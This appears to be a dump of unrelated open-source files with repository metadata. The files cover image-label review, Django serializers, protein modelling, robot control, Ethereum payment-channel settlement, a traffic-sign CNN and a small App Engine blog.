path_files = 'E:/dectect/dectect/face68'
for file in os.listdir(path_files):
if (file[-4:]=='.txt'):
print(file)
img = cv.imread(path_files+'/' + file[:-4]+'.jpg')
txt_open = open(path_files+'/' + file)
txt_read = txt_open.read()
txt_lines =txt_read.split(' ')
txt_float = [float(i) for i in txt_lines]
biaoq= 'xiao'
if txt_float[0]==0:
biaoq='buxiao'
elif txt_float[0]==2:
biaoq='daxiao'
biaoq += str(txt_float[1])
img = cv.putText(img, biaoq, (0, 25), 2, cv.FONT_HERSHEY_PLAIN, (255, 0, 0))
for x in range(int(len(txt_float)/2)-1):
img=cv.circle(img,(int(txt_float[2 + x * 2]*img.shape[1]),int(txt_float[2 + x * 2 + 1]*img.shape[0])),1,(0,255,0),-1)
cv.imshow('img', img)
txt_open.close()
k = cv.waitKey(0) & 0xFF
if k == ord('d'):
os.remove(path_files + '/' + file)
os.remove(path_files + '/' + file[:-4] + '.jpg')
print('删除成功', path_files + '/' + file)
elif k == ord('e'):
os.remove(last_img)
os.remove(last_img[:-4] + '.jpg')
print('删除前一张', last_img)
else:
last_img = path_files + '/' + file
|
[
"821022156@qq.com"
] |
821022156@qq.com
|
acc7193169a2e3dd8eeadc50f5a52d3e3ac7d2df
|
f680782b55a40bd7785e1717712278816058c53a
|
/Uber/foodtrucks/serializers.py
|
47ba0461cd249e9dd3e84f6e1b453005e1a6aa97
|
[] |
no_license
|
lxn2/food-trucks
|
e9f755550674100af3ec99ee8da894786ea697e5
|
2f0817aa090fe97cbce642a626b41571e0ac4602
|
refs/heads/master
| 2016-08-04T11:44:26.494353
| 2015-04-05T20:01:40
| 2015-04-05T20:01:40
| 33,389,813
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 682
|
py
|
# AUTHOR: Ly Nguyen
from rest_framework import serializers
from foodtrucks.models import FoodTrucks, FoodTypes
class FoodTypesSerializer(serializers.ModelSerializer):
food = serializers.CharField(source='get_food_display') # from FoodTypes human-readable field of FOOD_CHOICES
trucks = serializers.StringRelatedField(many=True) # from FoodTrucks __unicode__
class Meta:
model = FoodTypes
fields = ('food', 'trucks')
class FoodTrucksSerializer(serializers.ModelSerializer):
foodtypes = serializers.StringRelatedField(many=True) # from FoodTypes __unicode__
class Meta:
model = FoodTrucks
fields = ('name', 'address', 'longitude', 'latitude', 'fooditems', 'foodtypes')
|
[
"nguyenlyx@gmail.com"
] |
nguyenlyx@gmail.com
|
f07fecfbe41fa6f5a0d071a0779023ddd9a066ad
|
43268854505070471e0911bc0e5b280cadec8601
|
/modeller9v8/examples/commands/all_hydrogen.py
|
277f74f956357eaf0efaf2fe95d7ea9c4afac96a
|
[] |
no_license
|
realbigws/From_CA_to_FullAtom
|
08621bf350c77e29140051d1af850a51e5fe138f
|
a59d9fcbc6c1f2bfc5fc2d77da26318c63ac3052
|
refs/heads/master
| 2020-05-30T01:37:47.378404
| 2019-05-30T21:42:45
| 2019-05-30T21:42:45
| 189,481,583
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 955
|
py
|
# This will read a specified atom file, generate all hydrogen atoms,
# add atomic radii and charges, and write the model to a PDB file in
# the GRASP format. This can be used with GRASP to display electrostatic
# properties without assigning charges and radii in GRASP.
from modeller import *
from modeller.scripts import complete_pdb
log.verbose()
env = environ()
env.io.atom_files_directory = ['../atom_files']
env.libs.topology.read(file='$(LIB)/top_allh.lib')
env.libs.parameters.read(file='$(LIB)/par.lib')
def patch_disulfides(mdl):
"""Patch topology to remove sulfhydril hydrogens"""
for ids in [ ('17', '39'),
( '3', '22'),
('53', '59'),
('41', '52') ]:
mdl.patch(residue_type='DISU', residues=[mdl.residues[r] for r in ids])
mdl = complete_pdb(env, "1fas", patch_disulfides)
mdl.write(file='1fas.ini1', model_format='GRASP')
mdl.write(file='1fas.ini2', model_format='PDB')
|
[
"wangsheng@ttic.edu"
] |
wangsheng@ttic.edu
|
a4dc1709c35ab32f8bc572b3472147be1ce42cfa
|
a0bbf9631a1425e31175358d03a5bd109e13f477
|
/sem1/src/lab3/code/lab3.py
|
e873f3f470916503230d9df4a6f6ab306a9af7d1
|
[] |
no_license
|
AlexKaravaev/courses
|
0f5aa8da155706a23adb831ac52e44c160029e33
|
93273510e34985e02b8d348515ebcabe7f4c105f
|
refs/heads/master
| 2020-03-21T17:48:17.352827
| 2018-07-31T14:17:52
| 2018-07-31T14:17:52
| 138,854,938
| 3
| 3
| null | 2018-07-24T13:42:45
| 2018-06-27T08:49:58
|
TeX
|
UTF-8
|
Python
| false
| false
| 919
|
py
|
#!/usr/bin/env python3
from ev3dev.ev3 import *
from math import copysign
import time
# settig up the motors and sensor
left_motor = LargeMotor('outA')
right_motor = LargeMotor('outB')
sensor_us = UltrasonicSensor('in1')
# distance measurement unit is cm
sensor_us.mode = 'US-DIST-CM'
dist_goal = 20
# proportional coeff
k_p = 8
start_time = time.time()
def main():
data = open('data.txt', 'w')
try:
while True:
dist_current = sensor_us.value() / 10
U = k_p * (dist_goal - dist_current)
if ( abs(U)>100 ):
U = copysign(1, U) * 100
print("dist_current: " + str(dist_current))
data.write(str(time.time() - start_time) + " " + str(dist_current) + "\n" )
right_motor.run_direct(duty_cycle_sp = -U)
left_motor.run_direct(duty_cycle_sp = -U)
finally:
left_motor.stop(stop_action = 'brake')
right_motor.stop(stop_action = 'brake')
data.close()
if __name__ == '__main__':
main()
|
[
"rami.naim2010@yandex.ru"
] |
rami.naim2010@yandex.ru
|
ffbb9886801bc3c1ca30a921c15aa3dbda77da1a
|
a68712b5aca615b247c9870e1b02957c0e32fc61
|
/apps/usuarios/views.py
|
604597495de3d8c2447c3ab7ace4e5a4cdc25716
|
[] |
no_license
|
rubicarlo/proyecto
|
ab69b2bfa6e3b8859e2e6c8038d16d1b1788b956
|
4e9ef3d9f6504714dc0433125200debae64fb2e3
|
refs/heads/master
| 2021-08-28T06:16:00.563857
| 2017-12-11T11:07:35
| 2017-12-11T11:07:35
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 499
|
py
|
from django.shortcuts import render
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth.models import User
from django.views.generic import CreateView
from django.core.urlresolvers import reverse_lazy
from apps.usuarios.forms import RegistroUsuario
class RegistroUsuario(CreateView):
model = User
template_name = "base/usuario/registrar.html"
form_class = RegistroUsuario
success_url = reverse_lazy('alumnos:alumnos_listar')
# Create your views here.
|
[
"rubicarlo@hotmail.com"
] |
rubicarlo@hotmail.com
|
274dfe3cf98ee0c8c4f5c4041476016d8fc6422d
|
9e3a09b9a1bf582fcc76a4eff3d7fcc5bb623487
|
/tensorflow/contrib/framework/python/ops/script_ops.py
|
ff5583a87d002bc5c52edb15855673dc1b5e7ea5
|
[
"Apache-2.0"
] |
permissive
|
64bitjava/tensorflow
|
77e09666abc12b1d38d4c28b5edba914b1d2ec64
|
45e1624f56d26fda05a57599b5597c17c424f8b4
|
refs/heads/master
| 2021-01-22T05:43:15.285384
| 2018-01-16T21:14:25
| 2018-01-16T21:14:25
| 92,488,473
| 1
| 1
| null | 2018-01-16T21:14:26
| 2017-05-26T08:18:30
|
C++
|
UTF-8
|
Python
| false
| false
| 5,391
|
py
|
# Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Script Language Operators. See the @{$python/script_ops} guide.
@@py_func
"""
# pylint: disable=g-bad-name
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from tensorflow.python.framework import tensor_shape
from tensorflow.python.util import nest
from tensorflow.python.ops.script_ops import py_func as _py_func
__all__ = ["py_func"]
def py_func(func,
args=(),
kwargs={},
output_types=None,
output_shapes=None,
stateful=True,
name=None):
"""Wraps a python function and uses it as a TensorFlow op.
This function is a wrapper around `tf.py_func` and improve it with kwargs
and output_shapes. Further it changed some argument names.
Given a python function `func`, which takes numpy arrays as its
inputs and returns numpy arrays as its outputs, wrap this function as an
operation in a TensorFlow graph. The following snippet constructs a simple
TensorFlow graph that invokes the `np.sinh()` NumPy function as a operation
in the graph:
```python
def my_func(x):
# x will be a numpy array with the contents of the placeholder below
return np.sinh(x)
inp = tf.placeholder(tf.float32)
y = tf.py_func(my_func, [inp], tf.float32)
```
**N.B.** The `tf.py_func()` operation has the following known limitations:
* The body of the function (i.e. `func`) will not be serialized in a
`GraphDef`. Therefore, you should not use this function if you need to
serialize your model and restore it in a different environment.
* The operation must run in the same address space as the Python program
that calls `tf.py_func()`. If you are using distributed TensorFlow, you
must run a `tf.train.Server` in the same process as the program that calls
`tf.py_func()` and you must pin the created operation to a device in that
server (e.g. using `with tf.device():`).
Args:
func: A Python function, which accepts a list of NumPy `ndarray` objects
having element types that match the corresponding `tf.Tensor` objects
in `inp`, and returns a list of `ndarray` objects (or a single `ndarray`)
having element types that match the corresponding values in `Tout`.
args: A list of `Tensor` objects.
kwargs: A dict with `Tensor` objects as values.
output_types: A nested structure of tensorflow data types or a single
tensorflow data type if there is only one, indicating what `func` returns.
output_shapes: Same as output_types, except the types are replaces with
shapes (optional).
stateful: (Boolean.) If True, the function should be considered stateful.
If a function is stateless, when given the same input it will return the
same output and have no observable side effects. Optimizations such as
common subexpression elimination are only performed on stateless
operations.
name: A name for the operation (optional).
"""
if not isinstance(args, (list, tuple)):
raise TypeError('args must be list and not {}. args: {}'.format(
type(args), args))
if not isinstance(kwargs, dict):
raise TypeError('kwargs must be dict and not {}. args: {}'.format(
type(kwargs), kwargs))
# For dynamic type inference use callable output_types and output_shapes
if callable(output_types):
# If callable, assume same signature and call with tensors and get the types
output_types = output_types(*args, **kwargs)
if callable(output_shapes):
# If callable, assume same signature and call with tensors and get the shapes
output_shapes = output_shapes(*args, **kwargs)
flat_output_types = nest.flatten(output_types)
args = (args, kwargs)
flat_args = nest.flatten(args)
def python_function_wrapper(*py_args):
py_args, py_kwargs = nest.pack_sequence_as(args, py_args)
ret = func(*py_args, **py_kwargs)
# ToDo: Catch Exceptions and improve msg, because tensorflow ist not able
# to preserve the traceback, i.e. the Exceptions does not contain any
# information where the Exception was raised.
nest.assert_shallow_structure(output_types, ret)
return nest.flatten(ret)
flat_values = _py_func(
python_function_wrapper, flat_args, flat_output_types,
stateful=stateful, name=name)
if output_shapes is not None:
# I am not sure if this is nessesary
output_shapes = nest.map_structure_up_to(
output_types, tensor_shape.as_shape, output_shapes)
flattened_shapes = nest.flatten(output_shapes)
for ret_t, shape in zip(flat_values, flattened_shapes):
ret_t.set_shape(shape)
return nest.pack_sequence_as(output_types, flat_values)
|
[
"cais@google.com"
] |
cais@google.com
|
1e8ff115934731286e7476f61001415c1b822adb
|
1c178f4232964e8f49a946303d3159e8014b9a7d
|
/web_test/help/selene/shared/hook.py
|
8cb05707b3f96b62f299555a3d9e4003a1d7f514
|
[
"MIT"
] |
permissive
|
xcyac/python-web-test
|
c9be25aece7abd2777991612a9a7761a5713dad5
|
58000f56d85a32eea0b3837ec61a40b65d8c3ecb
|
refs/heads/master
| 2023-07-12T04:59:27.085906
| 2021-08-15T06:29:33
| 2021-08-15T06:29:33
| 396,183,742
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,302
|
py
|
import allure
from selene.core.exceptions import TimeoutException
from selene.support.shared import browser
def attach_snapshots_on_failure(error: TimeoutException) -> Exception:
"""
An example of selene hook_wait_failure that attaches snapshots to failed test step.
It is actually might not needed,
because using pytest_runtest_makereport hook
you can achieve similar
by attaching screenshots to the test body itself,
that is more handy during analysis of test report
but if you need it, you can use it by adding to your browser setup fixture::
import web_test
browser.config.hook_wait_failure = \
web_test.help.selene.shared.hook.attach_snapshots_on_failure
otherwise, you can skip it;)
"""
last_screenshot = browser.config.last_screenshot
if last_screenshot:
allure.attach.file(source=last_screenshot,
name='screenshot on failure',
attachment_type=allure.attachment_type.PNG)
last_page_source = browser.config.last_page_source
if last_page_source:
allure.attach.file(source=last_page_source,
name='page source on failure',
attachment_type=allure.attachment_type.HTML)
return error
|
[
"xulei22@tal.com"
] |
xulei22@tal.com
|
d14755d8be7c7738a6d2c031925667ece779b05f
|
137cb759aa0e7596f1b47649db4ba7bbd95b34de
|
/backend/api/management/commands/settlement_task.py
|
5dac346feb3e234398eb8bb608aaa71830cc27ee
|
[
"MIT"
] |
permissive
|
Dynora/eth-payment-channels
|
cb330495c77531fa84d84d1b23e4ef971e58310a
|
759944a57181626fec3dc90aecdf5e1ae8a594c4
|
refs/heads/master
| 2022-12-12T13:58:08.442546
| 2019-05-07T09:27:00
| 2019-05-07T09:27:00
| 131,702,477
| 0
| 1
|
MIT
| 2022-08-30T20:21:32
| 2018-05-01T10:49:01
|
JavaScript
|
UTF-8
|
Python
| false
| false
| 3,212
|
py
|
from datetime import datetime, timedelta
import pytz
from django.conf import settings
from django.core.management.base import BaseCommand, CommandError
from api.models import PaymentChannel
from api.utils import get_web3_object, get_contract_object, send_signed_transaction
class Command(BaseCommand):
help = 'Task for settle almost timed out payment channels'
def add_arguments(self, parser):
parser.add_argument(
'--test',
action='store_true',
dest='test',
help='Dry run of settlements',
)
def handle(self, *args, **options):
web3 = get_web3_object()
contract = get_contract_object(web3, 'PaymentChannels')
threshold_datetime = datetime.now(pytz.utc) + timedelta(seconds=600)
self.stdout.write("==========================================================================")
self.stdout.write("Checking for channels expiring before {}".format(threshold_datetime.strftime('%d-%m-%Y %H:%M')))
self.stdout.write("==========================================================================")
pending_channels = PaymentChannel.objects.filter(
is_settled=False,
is_timed_out=False,
is_failed=False,
timeout__lt=threshold_datetime)
for channel in pending_channels:
self.stdout.write('Settling channel {}...'.format(channel.channel_id))
timeout = contract.functions.getChannelTimeout(channel.channel_id).call()
if timeout == 0 or datetime.now(pytz.utc) > channel.timeout:
self.stdout.write(self.style.ERROR('Channel timeouts - lost deposit'))
channel.is_timed_out = True
channel.save()
else:
# Try to settle
address = contract.functions.getApprovedAmountAddress(
channel.channel_id,
channel.committed_amount,
channel.signature
).call()
if address != channel.from_address:
self.stdout.write(self.style.ERROR('Signature validation failed'))
channel.is_failed = True
channel.save()
else:
try:
tx_info = contract.functions.settleChannel(
channel.channel_id,
channel.committed_amount,
channel.signature
).buildTransaction(
{'from': settings.ETH_MERCHANT_ADDRESS}
)
tx_hash = send_signed_transaction(web3, tx_info)
# Save state
channel.is_settled = True
channel.save()
self.stdout.write(self.style.SUCCESS('Successfully settled channel, tx: {}'.format(web3.toHex(tx_hash))))
except ValueError as e:
channel.is_failed = True
channel.save()
self.stdout.write(self.style.ERROR('Transaction failed: {}'.format(e)))
|
[
"arjan@dynora.nl"
] |
arjan@dynora.nl
|
63d5e0a355f86793d55ea7d55b8b1f1112962737
|
686a2f942e466a9bf7b1c7c03d29dbb303643a20
|
/TSC_German.py
|
93e1fd6f6543e8b76819a5fdbe1a811718fac112
|
[] |
no_license
|
shaxinlei/TrafficSignRecognition
|
c7c3679181c7f12d53ed470c09805b5b59462525
|
c335dc413702cd007c1eed60296b0cacc0ff27e2
|
refs/heads/master
| 2021-10-09T03:16:45.589457
| 2018-12-20T14:07:20
| 2018-12-20T14:07:20
| 88,011,397
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 12,494
|
py
|
import csv
import random
import numpy as np
import matplotlib.pyplot as plt
import skimage.data
import skimage.transform
import tensorflow as tf
# function for reading the images
# arguments: path to the traffic sign data, for example './GTSRB/Training'
# returns: list of images, list of corresponding labels
def readTrafficSigns_train(rootpath):
'''Reads traffic sign data for German Traffic Sign Recognition Benchmark.
Arguments: path to the traffic sign data, for example './GTSRB/Training'
Returns: list of images, list of corresponding labels'''
images = [] # images
labels = [] # corresponding labels
# loop over all 42 classes
for c in range(0, 43):
prefix = rootpath + '/' + format(c, '05d') + '/' # subdirectory for class
gtFile = open(prefix + 'GT-' + format(c, '05d') + '.csv') # annotations file
gtReader = csv.reader(gtFile, delimiter=';') # csv parser for annotations file
next(gtReader) # skip header
# loop over all images in current annotations file
for row in gtReader:
images.append(plt.imread(prefix + row[0])) # the 1th column is the filename
labels.append(row[7]) # the 8th column is the label
gtFile.close()
return images, labels
def readTrafficSigns_test(rootpath):
'''Reads traffic sign data for German Traffic Sign Recognition Benchmark.
Arguments: path to the traffic sign data, for example './GTSRB/Training'
Returns: list of images'''
images = [] # images
labels = [] # 对应的标签
gtFile = open(rootpath + '/' + 'GT-final_test.csv')
gtReader = csv.reader(gtFile, delimiter=';') # csv parser for annotations file
next(gtReader) # skip header
# loop over all images in current annotations file
for row in gtReader:
images.append(plt.imread(rootpath + '/' + row[0])) # the 1th column is the filename
labels.append(row[7])
gtFile.close()
return images, labels
# 从数据集中随机选择n张图片
def batch(images, labels, n):
sample_indexes = random.sample(range(len(images)), n) # random.sample:从指定的序列中，随机的截取指定长度的片断，不作原地修改
sample_images = [images[i] for i in sample_indexes]
label_s = [labels[i] for i in sample_indexes]
return sample_images, label_s
# start加载数据集
# 加载训练数据集
images, labels = readTrafficSigns_train('./dataset/German/Training')
labels = list(map(int, labels)) # str列表转为int列表
# 调整图像大小
images32 = [skimage.transform.resize(image, (32, 32))
for image in images]
labels_train_all = np.array(labels)
images_train_all = np.array(images32)
# 加载测试数据集
test_images, test_labels = readTrafficSigns_test('./dataset/German/Testing')
test_labels = list(map(int, test_labels))
# 调整图像大小
test_images32 = [skimage.transform.resize(image, (32, 32))
for image in test_images]
images_test_all = np.array(test_images32)
labels_test_all = np.array(test_labels)
# 加载数据集end
# 定义构建卷积神经网络的函数
def weight_variable(shape):
initial = tf.truncated_normal(shape, stddev=0.1) # 返回一个tensor其中的元素服从截断正态分布，标准差为0.1
return tf.Variable(initial, name="W")
def bias_variable(shape):
initial = tf.constant(0.1, shape=shape) # 生成常量tensor ，值为0.1
return tf.Variable(initial, name="b")
def conv2d(x, W):
"""
tf.nn.conv2d功能：给定4维的input和filter，计算出一个2维的卷积结果
前几个参数分别是input, filter, strides, padding, use_cudnn_on_gpu, ...
input 的格式要求为一个张量，[batch, in_height, in_width, in_channels],批次数，图像高度，图像宽度，通道数
filter 的格式为[filter_height, filter_width, in_channels, out_channels]，滤波器高度，宽度，输入通道数，输出通道数
strides 一个长为4的list. 表示每次卷积以后在input中滑动的距离
padding 有SAME和VALID两种选项，表示是否要保留不完全卷积的部分。如果是SAME，则保留
use_cudnn_on_gpu 是否使用cudnn加速。默认是True
"""
# stride [1, x_movement, y_movement, 1]
# Must have strides[0] = strides[3] = 1
return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME') # 进行卷积操作，步长为1,padding为SAME
def max_pool_2x2(x):
"""
tf.nn.max_pool 进行最大值池化操作,而avg_pool 则进行平均值池化操作
几个参数分别是：value, ksize, strides, padding,
value: 一个4D张量，格式为[batch, height, width, channels]，与conv2d中input格式一样
ksize: 长为4的list,表示池化窗口的尺寸
strides: 窗口的滑动值，与conv2d中的一样
padding: 与conv2d中用法一样。
"""
# stride [1, x_movement, y_movement, 1]
return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') # 进行池化操作，池化窗口大小为[1,2,2,1],窗口步长为[1,2,2,1]
# start构建卷积神经网络
# Placeholders for inputs and labels.
with tf.name_scope('inputs'):
images_ph = tf.placeholder(tf.float32, [None, 32, 32, 3], name="images_ph") # 输入图像shape为[batch,32,32,3] 32*32像素 3个通道
labels_ph = tf.placeholder(tf.int32, [None], name="labels_ph")
# conv1 layer
"""
# 第一层
# 卷积核(filter)的尺寸是5*5, 通道数为1，输出通道为32，即feature map 数目为32
# 又因为strides=[1,1,1,1] 所以单个通道的输出尺寸应该跟输入图像一样。即总的卷积输出应该为?*32*32*32
# 也就是单个通道输出为32*32，共有32个通道,共有?个批次
# 在池化阶段，ksize=[1,2,2,1] 那么卷积结果经过池化以后的结果，其尺寸应该是？*16*16*32
"""
with tf.name_scope('conv1_layer'):
with tf.name_scope('Weights'):
W_conv1 = weight_variable([5, 5, 3, 32]) # patch 5x5, in size 3, out size 32
tf.summary.histogram('conv1_layer/weights', W_conv1)
with tf.name_scope('biases'):
b_conv1 = bias_variable([32])
tf.summary.histogram('conv1_layer/biases', b_conv1)
with tf.name_scope('conv1'):
h_conv1 = tf.nn.relu(conv2d(images_ph, W_conv1) + b_conv1) # 非线性处理 output size 32x32x32
tf.summary.histogram('conv1_layer/outputs', h_conv1)
with tf.name_scope('pool1_layer'):
h_pool1 = max_pool_2x2(h_conv1) # output size 16x16x32
# conv2 layer
"""
# 第二层
# 卷积核5*5，输入通道为32，输出通道为64。
# 卷积前图像的尺寸为 ?*16*16*32， 卷积后为?*16*16*64
# 池化后，输出的图像尺寸为?*8*8*64
"""
with tf.name_scope('conv2_layer'):
with tf.name_scope('Weights'):
W_conv2 = weight_variable([5, 5, 32, 64]) # patch 5x5, in size 32, out size 64
tf.summary.histogram('conv2_layer/weights', W_conv2)
with tf.name_scope('biases'):
b_conv2 = bias_variable([64])
tf.summary.histogram('conv2_layer/biases', b_conv2)
with tf.name_scope('conv2'):
h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2) # output size 16x16x64
tf.summary.histogram('conv2_layer/outputs', h_conv2)
with tf.name_scope('pool2_layer'):
h_pool2 = max_pool_2x2(h_conv2) # output size 8x8x64
# fc1 layer
# 第三层 是个全连接层,输入维数8*8*64, 输出维数为1024
with tf.name_scope('layer3'):
with tf.name_scope('Weights'):
W_fc1 = weight_variable([8*8*64, 1024]) # 扁平化
tf.summary.histogram('layer3/weights', W_fc1)
with tf.name_scope('biases'):
b_fc1 = bias_variable([1024])
tf.summary.histogram('layer3/biases', b_fc1)
# [n_samples, 8, 8, 64] ->> [n_samples, 8*8*64]
h_pool2_flat = tf.reshape(h_pool2, [-1, 8*8*64])
with tf.name_scope('Wx_plus_b'):
h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1) # tf.matmul：矩阵相乘
tf.summary.histogram('layer3/outputs', h_fc1)
# fc2 layer
# 第四层，输入1024维，输出43维，也就是具体的0~42分类
with tf.name_scope('layer4'):
with tf.name_scope('Weights'):
W_fc2 = weight_variable([1024, 43])
tf.summary.histogram('layer4/weights', W_fc2)
with tf.name_scope('biases'):
b_fc2 = bias_variable([43])
tf.summary.histogram('layer4/biases', b_fc2)
with tf.name_scope('Wx_plus_b'):
logits = tf.add(tf.matmul(h_fc1, W_fc2) , b_fc2)
tf.summary.histogram('layer4/outputs', logits)
# 神经网络构建end
predicted_labels = tf.argmax(logits, 1) # 返回某一维度的最大值
xlabels = tf.cast(labels_ph, tf.int64) # 强制转化，将float转化为int
with tf.name_scope('loss'):
loss = tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(labels=xlabels,logits=logits))
tf.summary.scalar('loss', loss)
with tf.name_scope('train_step'):
train_step = tf.train.AdamOptimizer(learning_rate=0.001).minimize(loss) # 使用adam优化
# 创建一个session来运行我们创建的图.
session = tf.Session()
if int((tf.__version__).split('.')[1]) < 12 and int((tf.__version__).split('.')[0]) < 1:
init = tf.initialize_all_variables()
else:
init = tf.global_variables_initializer() # 不同版本的TensorFlow有不同的参数初始化方法
merged = tf.summary.merge_all()
writer = tf.summary.FileWriter("logs/",session.graph)
# 第一步始终是初始化所有变量.
session.run(init) # 在session里面运行模型，并且进行初始化
for i in range(100): # 对模型进行训练
images_train, labels_train = batch(images32, labels, 128) # 从训练集中随机选取128张图片
# 每次运行train_step时，将之前所选择的数据，填充至所设置的占位符中，作为模型的输入
_, loss_value, result = session.run([train_step, loss, merged], feed_dict={
images_ph: images_train, labels_ph: labels_train})
# print("step: %d" %i)
print("Step: {0}" .format(i))
writer.add_summary(result, i)
image_test, labels_test = batch(test_images32, test_labels, 128) # 从测试集中随机选取128张图片
print("测试数据")
print(labels_test)
predicted = session.run([predicted_labels],
feed_dict={images_ph: image_test})[0]
print("预测数据")
print(predicted)
# 计算得到匹配的数量.
match_count = sum([int(y == y_) for y, y_ in zip(labels_test, predicted)])
accuracy = match_count / len(labels_test)
print("Accuracy: {0}, Loss:{1}".format(accuracy, loss_value))
# print("\n************Caculate the accuracy of test data**************")
# print("\n")
# print("\n")
# print("测试数据")
# print("num_of_testData:{0}".format(len(images_test_all)))
# for i in labels_test_all:
# print(i," ",end="")
# predicted_all = session.run([predicted_labels], feed_dict={images_ph: images_test_all, labels_ph: labels_test_all})[0]
# print("\n预测数据")
# for i in predicted_all:
# print(i, " ", end="")
# match_count_all = sum([int(y == y_) for y, y_ in zip(labels_test_all, predicted_all)])
# accuracy = match_count_all/ len(labels_test_all)
# print("\nAll test images' accuracy: {0}".format(accuracy))
'''
for i in range(10):
print("================================================================")
sample_images, sample_labels = batch(test_images32, test_labels, 10) # 从测试集中随机选取10张图片
predicted = session.run([predicted_labels],
feed_dict={images_ph: sample_images})[0]
# Display the predictions and the ground truth visually.
fig = plt.figure(figsize=(10, 10)) # 在10英寸*10英寸 的画布上画图
for i in range(len(sample_images)):
truth = sample_labels[i]
prediction = predicted[i]
plt.subplot(5, 2, 1 + i) # 整个绘图区域被分成5行和2列，指定创建的象所在的区域....
plt.axis('off') # 关掉图像坐标
color = 'green' if truth == prediction else 'red'
plt.text(40, 10, "Truth: {0}\nPrediction: {1}".format(truth, prediction),
fontsize=12, color=color)
plt.imshow(sample_images[i])
plt.show()
'''
# session.close()
|
[
"shaxinlei@gmail.com"
] |
shaxinlei@gmail.com
|
0ddf50344dcbe6552a07517025b906e8689cf0ad
|
bb4f5934e73c5d5b41bee90f0b7531c96b4128d5
|
/main.py
|
b052170512ec58d80c7fce4d974050ff27301fd6
|
[] |
no_license
|
dchavadar/cookieBlog
|
9e6b203a49004dc883e850dcf0cea6ab58397c86
|
909c7816bf8ec0c32798d8a5b7623380fe43af52
|
refs/heads/master
| 2016-09-14T13:52:44.399781
| 2016-04-18T11:51:04
| 2016-04-18T11:51:04
| 56,499,115
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,623
|
py
|
#!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import os,webapp2,jinja2
from google.appengine.ext import db
from google.appengine.api import images
##########################################################
##########################################################
template_dir = os.path.join(os.path.dirname(__file__), 'templates')
jinja_env = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir),
autoescape=True)
##########################################################
##########################################################
#DATABASE
class Article(db.Model):
image=db.BlobProperty()
title=db.StringProperty(required=True)
author=db.StringProperty()
text=db.TextProperty(required=True)
link=db.StringProperty()
date=db.DateProperty(auto_now_add=True)
##########################################################
##########################################################
class Handler(webapp2.RequestHandler):
def write (self,*a,**kw):
self.response.out.write(*a,**kw)
def render_str(self, template, **params):
t= jinja_env.get_template(template)
return t.render(params)
def render(self, template,**kw):
self.write(self.render_str(template,**kw))
class MainPage(Handler):
def render_main(self): #,title="",post="",error="",creator="",new=True)
#posts=db.GqlQuery("SELECT * FROM Post ORDER BY created DESC")
self.render("index.html")#,user=user,events=events,articles=articles)
def get(self):
#self.write("hello")
#q=self.request.get("q")
self.render_main()
def post(self):
#title=self.request.get("title")
#p=Post(title=title,creator=creator,post=post)
#p.put()
#theid=p.key().id()
#app.router.add(('/blogs'+theid, redirect))
#self.redirect("/blog/%d" %theid)
#self.redirect('/r')
pass
##########################################################
##########################################################
class AddArticle(Handler):
def get(self):
self.render("write.html")
def post(self):
title=self.request.get("title")
exist=db.GqlQuery("select * from Article where title = '%s'"%title)
if not exist.get():
text=self.request.get("text")
title=self.request.get("title")
#imag=self.request.get("img")
#imag=images.resize(imag, 200, 200)
a=Article(title=title,text=text)
#a.image=db.Blob(imag)
a.put()
# add to Words(db)
self.redirect('/')
class ArticlePage(Handler):
def get(self,num):
articleObj=Article.get_by_id(int(num))
self.render("post.html",article=articleObj)
def post(self, num):
pass
##########################################################
##########################################################
app = webapp2.WSGIApplication([
('/', MainPage),('/iamwakko',AddArticle),('/(\d+)',ArticlePage)
], debug=True)
|
[
"e145701@ie.u-ryukyu.ac.jp"
] |
e145701@ie.u-ryukyu.ac.jp
|
ed202550c399b038c7bfb0bf2e966d9f0662b5d4
|
2d05050d0ada29f7680b4df20c10bb85b0530e45
|
/python/tvm/contrib/tf_op/module.py
|
bcff2741630c5308254ab8df9ed28a5875b956ff
|
[
"Apache-2.0",
"BSD-3-Clause",
"MIT",
"LicenseRef-scancode-unknown-license-reference",
"Unlicense",
"Zlib",
"LLVM-exception",
"BSD-2-Clause"
] |
permissive
|
apache/tvm
|
87cb617f9a131fa44e1693303aaddf70e7a4c403
|
d75083cd97ede706338ab413dbc964009456d01b
|
refs/heads/main
| 2023-09-04T11:24:26.263032
| 2023-09-04T07:26:00
| 2023-09-04T07:26:00
| 70,746,484
| 4,575
| 1,903
|
Apache-2.0
| 2023-09-14T19:06:33
| 2016-10-12T22:20:28
|
Python
|
UTF-8
|
Python
| false
| false
| 4,901
|
py
|
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
